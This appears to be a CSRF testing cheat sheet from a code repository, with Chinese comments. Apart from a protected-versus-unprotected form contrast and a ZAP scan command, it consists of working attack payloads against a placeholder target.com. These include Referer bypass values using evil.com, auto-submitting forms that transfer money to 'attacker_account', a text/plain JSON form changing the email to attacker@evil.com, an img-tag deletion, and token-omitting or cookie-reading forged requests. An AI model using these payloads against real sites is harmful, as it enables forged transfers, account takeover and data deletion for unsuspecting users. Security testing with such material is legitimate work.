liuxinye23/qingfenglanyue/csrf-testing

<!-- 有Token保护 -->
<form method="POST" action="/change-password">
  <input type="hidden" name="csrf_token" value="abc123">
  <input type="password" name="new_password">
</form>
 
<!-- 无Token保护 - 存在CSRF风险 -->
<form method="POST" action="/change-email">
  <input type="email" name="new_email">
</form>

// 正常请求
Referer: https://target.com/change-password
// 测试绕过
Referer: https://target.com.evil.com
Referer: https://evil.com/?target.com
Referer: (空)

<form action="https://target.com/api/transfer" method="POST" id="csrf">
  <input type="hidden" name="to" value="attacker_account">
  <input type="hidden" name="amount" value="10000">
</form>
<script>document.getElementById('csrf').submit();</script>

<!-- 使用form表单提交JSON -->
<form action="https://target.com/api/update" method="POST" enctype="text/plain">
  <input name='{"email":"attacker@evil.com","ignore":"' value='"}'>
</form>
<script>document.forms[0].submit();</script>

<img src="https://target.com/api/delete?id=123">

// 如果Token同时存在于Cookie和表单中
// 可以尝试只提交Cookie中的Token
fetch('https://target.com/api/action', {
  method: 'POST',
  credentials: 'include',
  body: 'action=delete&id=123'
  // 不包含csrf_token参数，依赖Cookie
});

<!-- 如果Token在Cookie中，且验证逻辑有缺陷 -->
<form action="https://target.com/api/action" method="POST">
  <input type="hidden" name="csrf_token" value="">
  <script>
    // 从Cookie中读取Token
    document.cookie.split(';').forEach(c => {
      if(c.trim().startsWith('csrf_token=')) {
        document.querySelector('input[name="csrf_token"]').value = 
          c.split('=')[1];
      }
    });
  </script>
</form>

# 使用ZAP进行CSRF扫描
zap-cli quick-scan --self-contained --start-options '-config api.disablekey=true' http://target.com